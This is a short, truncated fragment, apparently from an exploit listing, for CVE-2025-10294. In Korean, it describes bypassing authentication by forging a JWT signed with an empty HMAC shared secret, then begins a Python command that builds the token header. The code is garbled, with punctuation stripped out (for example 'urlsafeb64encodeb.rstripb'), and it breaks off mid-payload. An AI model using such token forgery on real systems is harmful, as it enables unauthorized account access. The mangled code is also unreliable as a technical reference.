CVE-2025-10294

익스플로잇: 빈 ownidsharedsecret을 통한 인증 우회 JWT 위조 1 빈 HMAC 키로 유효한 JWT 위조하기 root@kitploit: SUB= SUB="$SUB" python3 - /tmp/jwt.txt import base64, hmac, hashlib, json, time, os b64u = lambda b: base64.urlsafeb64encodeb.rstripb'='.decode header = b64ujson.dumps"typ":"JWT","alg":"HS256",...